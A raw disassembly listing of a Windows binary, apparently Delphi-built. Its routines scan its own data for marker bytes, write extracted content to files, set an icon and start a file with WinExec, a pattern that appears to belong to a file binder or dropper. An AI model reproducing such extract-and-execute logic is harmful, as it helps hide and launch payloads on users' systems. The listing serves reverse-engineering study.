loc_41636C:				; CODE XREF: sub_4162DC+47j
					; sub_4162DC+4Dj ...
		inc	esi
		inc	ebx
		dec	edi
		jnz	short loc_416320

loc_416371:				; CODE XREF: sub_4162DC+38j
					; sub_4162DC+73j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_416393

loc_41637E:				; CODE XREF: CODE:00416391j
		lea	eax, [ebp+var_C]
		mov	edx, 3
		call	sub_4034EC
		retn
sub_4162DC	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41638C:				; DATA XREF: sub_4162DC+29o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_41637E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416393:				; DATA XREF: sub_4162DC+9Do
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_41639C	proc near		; CODE XREF: sub_416478+253p
					; sub_416478+2E5p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	ebx, ecx
		mov	[ebp+var_4], edx
		mov	esi, eax
		mov	eax, [ebp+arg_0]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_416468
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, esi
		test	edx, edx
		jle	short loc_41644A
		mov	edi, 1
		mov	eax, offset unk_41E6D8

loc_4163D7:				; CODE XREF: sub_41639C+ACj
		cmp	byte ptr [eax],	0C0h
		jnz	short loc_416445
		cmp	byte ptr [eax+1], 0C0h
		jnz	short loc_416445
		cmp	byte ptr [eax+2], 0C0h
		jnz	short loc_416445
		cmp	byte ptr [eax+4], 80h
		jnz	short loc_416445
		cmp	byte ptr [eax+5], 80h
		jnz	short loc_416445
		cmp	byte ptr [eax+6], 80h
		jnz	short loc_416445
		mov	esi, ebx
		test	esi, esi
		jle	short loc_41644A
		mov	ebx, 1

loc_416405:				; CODE XREF: sub_41639C+A5j
		cmp	[ebp+var_4], 1
		jnz	short loc_41641D
		mov	eax, [ebp+arg_0]
		mov	al, [eax+ebx-1]
		lea	edx, [ebx+edi]
		mov	byte ptr ds:(dword_41E6D4+3)[edx], al
		jmp	short loc_41643F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41641D:				; CODE XREF: sub_41639C+6Dj
		lea	eax, [ebp+var_8]
		lea	edx, [ebx+edi]
		mov	dl, byte ptr ds:(dword_41E6D4+3)[edx]
		call	sub_403670
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_4]
		add	eax, 0FFFFFFFCh
		call	sub_40372C
		mov	eax, [ebp+arg_4]

loc_41643F:				; CODE XREF: sub_41639C+7Fj
		inc	ebx
		dec	esi
		jnz	short loc_416405
		jmp	short loc_41644A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416445:				; CODE XREF: sub_41639C+3Ej
					; sub_41639C+44j ...
		inc	edi
		inc	eax
		dec	edx
		jnz	short loc_4163D7

loc_41644A:				; CODE XREF: sub_41639C+2Fj
					; sub_41639C+62j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41646F

loc_416457:				; CODE XREF: CODE:0041646Dj
		lea	eax, [ebp+var_8]
		call	sub_4034C8
		lea	eax, [ebp+arg_0]
		call	sub_4034C8
		retn
sub_41639C	endp ; sp = -1Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416468:				; DATA XREF: sub_41639C+20o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_416457
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41646F:				; DATA XREF: sub_41639C+B6o
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_416478	proc near		; CODE XREF: sub_4171C0+E5p start+6CDp

var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_2C0		= byte ptr -2C0h
var_174		= byte ptr -174h
var_28		= dword	ptr -28h
var_21		= byte ptr -21h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFAE4h
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	[ebp+var_51C], ebx
		mov	[ebp+var_418], ebx
		mov	[ebp+var_414], ebx
		mov	[ebp+var_410], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		mov	eax, [ebp+var_C]
		call	sub_4038D8
		mov	eax, [ebp+var_10]
		call	sub_4038D8
		mov	eax, [ebp+arg_18]
		call	sub_4038D8
		mov	eax, [ebp+arg_14]
		call	sub_4038D8
		mov	eax, [ebp+arg_10]
		call	sub_4038D8
		mov	eax, [ebp+arg_C]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_4168AD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	1
		push	1
		lea	eax, [ebp+var_410]
		push	eax
		mov	ecx, offset dword_4168C4
		mov	edx, offset dword_4168D0
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		xor	eax, eax
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		lea	eax, [ebp+var_414]
		mov	dl, [ebp+var_21]
		call	sub_403670
		mov	eax, [ebp+var_414]
		call	sub_403724
		mov	[ebp+var_1C], eax
		mov	edx, [ebp+var_8]
		lea	eax, [ebp+var_174]
		call	sub_404E16
		lea	eax, [ebp+var_418]
		mov	ecx, [ebp+arg_18]
		mov	edx, [ebp+var_10]
		call	sub_403770
		mov	edx, [ebp+var_418]
		lea	eax, [ebp+var_2C0]
		call	sub_404E16
		mov	eax, ds:off_41DC30
		mov	byte ptr [eax],	0
		cmp	[ebp+arg_4], 1
		jnz	short loc_416596
		lea	edx, [ebp+var_518]
		mov	eax, [ebp+arg_8]
		call	sub_40296C
		lea	edx, [ebp+var_518]
		lea	eax, [ebp+var_20]
		call	sub_4036EC
		jmp	short loc_4165A3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416596:				; CODE XREF: sub_416478+FEj
		lea	eax, [ebp+var_20]
		mov	edx, offset dword_4168DC
		call	sub_403560

loc_4165A3:				; CODE XREF: sub_416478+11Cj
		mov	edx, 1
		lea	eax, [ebp+var_174]
		call	sub_40510D
		call	sub_40265C
		mov	edx, 1
		lea	eax, [ebp+var_2C0]
		call	sub_405124
		call	sub_40265C
		cmp	[ebp+arg_0], 0
		jz	loc_4166E7
		mov	dl, 1
		mov	eax, ds:off_413638
		call	sub_4155EC
		mov	[ebp+var_28], eax
		xor	eax, eax
		push	ebp
		push	offset loc_416673
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		lea	ecx, [ebp+var_51C]
		xor	edx, edx
		mov	eax, offset dword_4168F0
		call	sub_415FAC
		mov	ecx, [ebp+var_51C]
		mov	eax, offset dword_41EEF4
		mov	edx, ds:dword_41EEF0
		call	sub_403770
		movzx	eax, bx
		push	eax
		mov	eax, [ebp+var_C]
		call	sub_4038E8
		push	eax
		mov	eax, ds:dword_41E4D4
		push	eax
		call	j_ExtractIconA
		mov	edx, eax
		mov	eax, [ebp+var_28]
		call	sub_4159BC
		mov	edx, ds:dword_41EEF4
		mov	eax, [ebp+var_28]
		mov	ecx, [eax]
		call	dword ptr [ecx+4Ch]
		mov	edx, 2
		mov	eax, ds:dword_41EEF4
		call	sub_4071B8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41667A

loc_41666A:				; CODE XREF: sub_416478+200j
		mov	eax, [ebp+var_28]
		call	sub_402BDC
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416673:				; DATA XREF: sub_416478+171o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_41666A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41667A:				; DATA XREF: sub_416478+1EDo
		mov	edx, ds:dword_41EEF4
		lea	eax, [ebp-40Ch]
		call	sub_404E16
		mov	edx, 1
		lea	eax, [ebp-40Ch]
		call	sub_40510D
		call	sub_40265C

loc_4166A0:				; CODE XREF: sub_416478+25Dj
		lea	eax, [ebp-14h]
		push	eax
		mov	edx, offset unk_41E6D8
		mov	ecx, 800h
		lea	eax, [ebp-40Ch]
		call	sub_404EB8
		call	sub_40265C
		push	ebp
		push	0
		mov	ecx, 2A4h
		xor	edx, edx
		mov	eax, [ebp+var_14]
		call	sub_41639C
		pop	ecx
		cmp	[ebp+var_14], 0
		jnz	short loc_4166A0
		lea	eax, [ebp+var_40C]
		call	sub_404F80
		call	sub_40265C

loc_4166E7:				; CODE XREF: sub_416478+159j
					; sub_416478+34Bj
		lea	eax, [ebp+var_14]
		push	eax
		mov	edx, offset unk_41E6D8
		mov	ecx, 800h
		lea	eax, [ebp+var_174]
		call	sub_404EB8
		call	sub_40265C
		mov	ecx, offset dword_416904
		mov	edx, [ebp+arg_14]
		mov	eax, [ebp+var_14]
		call	sub_4162DC
		mov	ecx, offset dword_416910
		mov	edx, [ebp+arg_C]
		mov	eax, [ebp+var_14]
		call	sub_4162DC
		mov	ecx, offset dword_41691C
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_14]
		call	sub_4162DC
		mov	ecx, offset dword_416928
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_14]
		call	sub_4162DC
		cmp	[ebp+arg_0], 0
		jz	short loc_416763
		push	ebp
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, 2A4h
		mov	edx, 1
		mov	eax, [ebp+var_14]
		call	sub_41639C
		pop	ecx

loc_416763:				; CODE XREF: sub_416478+2D1j
		cmp	[ebp+arg_4], 1
		jnz	short loc_416787
		lea	eax, [ebp+var_14]
		push	eax
		mov	edx, offset unk_41E6D8
		mov	ecx, [ebp+var_14]
		lea	eax, [ebp+var_2C0]
		call	sub_404F1C
		call	sub_40265C
		jmp	short loc_4167BF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416787:				; CODE XREF: sub_416478+2EFj
		mov	esi, 800h
		mov	ebx, offset unk_41E6D8

loc_416791:				; CODE XREF: sub_416478+345j
		mov	al, [ebx]
		mov	[ebp+var_21], al
		inc	[ebp+var_18]
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+arg_8]
		jg	short loc_4167BB
		lea	eax, [ebp+var_1C]
		push	eax
		lea	edx, [ebp+var_21]
		mov	ecx, [ebp+var_1C]
		lea	eax, [ebp+var_2C0]
		call	sub_404F1C
		call	sub_40265C

loc_4167BB:				; CODE XREF: sub_416478+327j
		inc	ebx
		dec	esi
		jnz	short loc_416791

loc_4167BF:				; CODE XREF: sub_416478+30Dj
		cmp	[ebp+var_14], 0
		jnz	loc_4166E7
		cmp	[ebp+arg_4], 1
		jnz	short loc_416842
		mov	edx, [ebp+var_C]
		lea	eax, [ebp+var_40C]
		call	sub_404E16
		mov	edx, 1
		lea	eax, [ebp+var_40C]
		call	sub_40510D
		call	sub_40265C

loc_4167F2:				; CODE XREF: sub_416478+3B8j
		lea	eax, [ebp+var_14]
		push	eax
		mov	edx, offset unk_41E6D8
		mov	ecx, 800h
		lea	eax, [ebp+var_40C]
		call	sub_404EB8
		call	sub_40265C
		lea	eax, [ebp+var_14]
		push	eax
		mov	edx, offset unk_41E6D8
		mov	ecx, [ebp+var_14]
		lea	eax, [ebp+var_2C0]
		call	sub_404F1C
		call	sub_40265C
		cmp	[ebp+var_14], 0
		jnz	short loc_4167F2
		lea	eax, [ebp+var_40C]
		call	sub_404F80
		call	sub_40265C

loc_416842:				; CODE XREF: sub_416478+355j
		lea	eax, [ebp+var_174]
		call	sub_404F80
		call	sub_40265C
		lea	eax, [ebp+var_2C0]
		call	sub_404F80
		call	sub_40265C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4168B4

loc_41686F:				; CODE XREF: CODE:004168B2j
		lea	eax, [ebp+var_51C]
		call	sub_4034C8
		lea	eax, [ebp+var_418]
		mov	edx, 3
		call	sub_4034EC
		lea	eax, [ebp+var_20]
		call	sub_4034C8
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_4034EC
		lea	eax, [ebp+arg_C]
		mov	edx, 4
		call	sub_4034EC
		retn
sub_416478	endp ; sp = -540h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4168AD:				; DATA XREF: sub_416478+6Fo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_41686F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4168B4:				; DATA XREF: sub_416478+3F2o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	1Ch
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 1
dword_4168C4	dd 33h,	0FFFFFFFFh, 3	; DATA XREF: sub_416478+85o
dword_4168D0	dd 334446h, 0FFFFFFFFh,	8 ; DATA XREF: sub_416478+8Ao
dword_4168DC	dd 2 dup(20202020h), 0,	0FFFFFFFFh, 8 ;	DATA XREF: sub_416478+121o
dword_4168F0	dd 80765F6Bh, 7D705552h, 0, 0FFFFFFFFh,	1 ; DATA XREF: sub_416478+186o
dword_416904	dd 32h,	0FFFFFFFFh, 1	; DATA XREF: sub_416478+28Do
dword_416910	dd 35h,	0FFFFFFFFh, 1	; DATA XREF: sub_416478+29Do
dword_41691C	dd 38h,	0FFFFFFFFh, 1	; DATA XREF: sub_416478+2ADo
dword_416928	dd 39h			; DATA XREF: sub_416478+2BDo

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_41692C	proc near		; CODE XREF: sub_416A1C+95p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_416A09
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_10]
		call	sub_4034C8
		test	ebx, ebx
		jle	short loc_4169D3
		mov	[ebp+var_14], ebx
		mov	[ebp+var_C], 1
		mov	ebx, offset unk_41E6D8

loc_416979:				; CODE XREF: sub_41692C+A5j
		cmp	byte ptr [ebx],	46h
		jnz	short loc_4169CA
		cmp	byte ptr [ebx+1], 41h
		jnz	short loc_4169CA
		lea	eax, [ebp+var_18]
		mov	dl, [ebx+2]
		call	sub_403670
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_8]
		call	sub_403834
		jnz	short loc_4169CA
		mov	esi, [ebp+var_4]
		test	esi, esi
		jle	short loc_4169CA
		mov	edi, 1

loc_4169A8:				; CODE XREF: sub_41692C+9Cj
		lea	eax, [ebp+var_1C]
		mov	edx, [ebp+var_C]
		add	edx, edi
		mov	dl, byte ptr ds:unk_41E6D9[edx]
		call	sub_403670
		mov	edx, [ebp+var_1C]
		lea	eax, [ebp+var_10]
		call	sub_40372C
		inc	edi
		dec	esi
		jnz	short loc_4169A8

loc_4169CA:				; CODE XREF: sub_41692C+50j
					; sub_41692C+56j ...
		inc	[ebp+var_C]
		inc	ebx
		dec	[ebp+var_14]
		jnz	short loc_416979

loc_4169D3:				; CODE XREF: sub_41692C+3Cj
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		call	sub_40351C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_416A10

loc_4169EB:				; CODE XREF: CODE:00416A0Ej
		lea	eax, [ebp+var_1C]
		mov	edx, 2
		call	sub_4034EC
		lea	eax, [ebp+var_10]
		call	sub_4034C8
		lea	eax, [ebp+var_8]
		call	sub_4034C8
		retn
sub_41692C	endp ; sp = -30h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416A09:				; DATA XREF: sub_41692C+27o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4169EB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416A10:				; DATA XREF: sub_41692C+BAo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_416A1C	proc near		; CODE XREF: sub_416C54+108p
					; sub_416C54+143p ...

var_160		= byte ptr -160h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEA0h
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_14], ebx
		mov	ebx, ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		lea	esi, [ebp+var_C]
		xor	eax, eax
		push	ebp
		push	offset loc_416B0F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_14]
		call	sub_4034C8
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_160]
		call	sub_404E16
		mov	eax, ds:off_41DC30
		mov	byte ptr [eax],	0
		mov	edx, 1
		lea	eax, [ebp+var_160]
		call	sub_40510D
		call	sub_40265C

loc_416A8B:				; CODE XREF: sub_416A1C+AEj
		push	esi
		mov	edx, offset unk_41E6D8
		mov	ecx, 800h
		lea	eax, [ebp+var_160]
		call	sub_404EB8
		call	sub_40265C
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, ebx
		mov	eax, [esi]
		call	sub_41692C
		cmp	[ebp+var_10], 0
		jz	short loc_416AC7
		lea	eax, [ebp+var_14]
		mov	edx, [ebp+var_10]
		call	sub_403560

loc_416AC7:				; CODE XREF: sub_416A1C+9Ej
		cmp	dword ptr [esi], 0
		jnz	short loc_416A8B
		lea	eax, [ebp+var_160]
		call	sub_404F80
		call	sub_40265C
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		call	sub_40351C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_416B16

loc_416AF4:				; CODE XREF: CODE:00416B14j
		lea	eax, [ebp+var_14]
		mov	edx, 2
		call	sub_4034EC
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_416A1C	endp ; sp = -174h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416B0F:				; DATA XREF: sub_416A1C+31o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_416AF4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416B16:				; DATA XREF: sub_416A1C+D3o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_416B20	proc near		; CODE XREF: sub_416C54+BDp

var_2AC		= byte ptr -2ACh
var_160		= byte ptr -160h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFD54h
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	[ebp+var_10], ebx
		mov	esi, ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		mov	eax, [ebp+var_8]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_416C45
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_8]
		call	sub_4071A8
		test	al, al
		jnz	loc_416C22
		xor	ebx, ebx
		lea	edx, [ebp+var_10]
		mov	eax, [ebp+var_4]
		call	sub_4073EC
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_160]
		call	sub_404E16
		mov	edx, [ebp+var_8]
		lea	eax, [ebp+var_2AC]
		call	sub_404E16
		mov	eax, ds:off_41DC30
		mov	byte ptr [eax],	0
		mov	edx, 1
		lea	eax, [ebp+var_160]
		call	sub_40510D
		call	sub_40265C
		mov	edx, 1
		lea	eax, [ebp+var_2AC]
		call	sub_405124
		call	sub_40265C

loc_416BC1:				; CODE XREF: sub_416B20+E0j
		lea	eax, [ebp+var_C]
		push	eax
		lea	edx, [ebp+var_11]
		mov	ecx, 1
		lea	eax, [ebp+var_160]
		call	sub_404EB8
		call	sub_40265C
		inc	ebx
		cmp	esi, ebx
		jg	short loc_416BFC
		lea	eax, [ebp+var_C]
		push	eax
		lea	edx, [ebp+var_11]
		mov	ecx, [ebp+var_C]
		lea	eax, [ebp+var_2AC]
		call	sub_404F1C
		call	sub_40265C

loc_416BFC:				; CODE XREF: sub_416B20+C0j
		cmp	[ebp+var_C], 0
		jnz	short loc_416BC1
		lea	eax, [ebp+var_160]
		call	sub_404F80
		call	sub_40265C
		lea	eax, [ebp+var_2AC]
		call	sub_404F80
		call	sub_40265C

loc_416C22:				; CODE XREF: sub_416B20+40j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_416C4C

loc_416C2F:				; CODE XREF: CODE:00416C4Aj
		lea	eax, [ebp+var_10]
		call	sub_4034C8
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_4034EC
		retn
sub_416B20	endp ; sp = -2BCh

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416C45:				; DATA XREF: sub_416B20+2Bo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_416C2F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416C4C:				; DATA XREF: sub_416B20+10Ao
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_416C54	proc near		; CODE XREF: start+61Dp

var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 0Dh

loc_416C5C:				; CODE XREF: sub_416C54+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_416C5C
		push	ecx
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_416F90
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	1
		push	1
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, offset dword_416FA4
		mov	edx, offset dword_416FB0
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		lea	edx, [ebp+var_14]
		mov	eax, [ebp+var_4]
		call	sub_4073EC
		lea	ecx, [ebp+var_10]
		xor	edx, edx
		mov	eax, [ebp+var_14]
		call	sub_407324
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_416FBC
		call	sub_4039B4
		test	eax, eax
		jnz	short loc_416CD0
		lea	eax, [ebp+var_10]
		mov	edx, [ebp+var_14]
		call	sub_403560

loc_416CD0:				; CODE XREF: sub_416C54+6Fj
		push	ds:dword_41EEF0
		push	offset dword_416FC8
		push	[ebp+var_10]
		mov	eax, offset dword_41EEF4
		mov	edx, 3
		call	sub_4037E4
		lea	edx, [ebp+var_1C]
		mov	eax, 6
		call	sub_41609C
		mov	edx, [ebp+var_1C]
		lea	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		call	sub_403770
		lea	ecx, [ebx+1]
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_4]
		call	sub_416B20
		mov	cl, 1
		mov	edx, ds:dword_41EEF4
		mov	eax, [ebp+var_10]
		call	sub_416178
		push	1
		push	1
		lea	eax, [ebp+var_20]
		push	eax
		mov	ecx, ds:dword_41EEF4
		mov	edx, offset aFb1b ; "FB1B"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		push	1
		push	1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, 5Ah
		mov	edx, offset dword_416FE4
		mov	eax, [ebp+var_4]
		call	sub_416A1C
		mov	eax, [ebp+var_2C]
		lea	edx, [ebp+var_28]
		call	sub_406E9C
		mov	ecx, [ebp+var_28]
		mov	edx, offset aFb1bb ; "FB1BB"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		push	1
		push	1
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		mov	ecx, 5Ah
		mov	edx, offset dword_417000
		mov	eax, [ebp+var_4]
		call	sub_416A1C
		mov	eax, [ebp+var_38]
		lea	edx, [ebp+var_34]
		call	sub_406E9C
		mov	ecx, [ebp+var_34]
		mov	edx, offset aFb1ba ; "FB1BA"
		mov	eax, ds:dword_41EEFC
		call	sub_415EAC
		lea	edx, [ebp+var_3C]
		mov	eax, [ebp+var_10]
		call	sub_41620C
		mov	eax, [ebp+var_3C]
		lea	ecx, [ebp+var_8]
		mov	edx, 1
		call	sub_415FAC
		mov	eax, [ebp+var_8]
		mov	edx, offset dword_41701C
		call	sub_403834
		jnz	short loc_416E03
		push	1
		lea	edx, [ebp+var_40]
		mov	eax, [ebp+var_10]
		call	sub_407424
		mov	eax, [ebp+var_40]
		call	sub_4038E8
		push	eax
		call	j_WinExec
		jmp	loc_416F75
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_416E03:				; CODE XREF: sub_416C54+18Dj
		lea	ecx, [ebp+var_44]
		xor	edx, edx
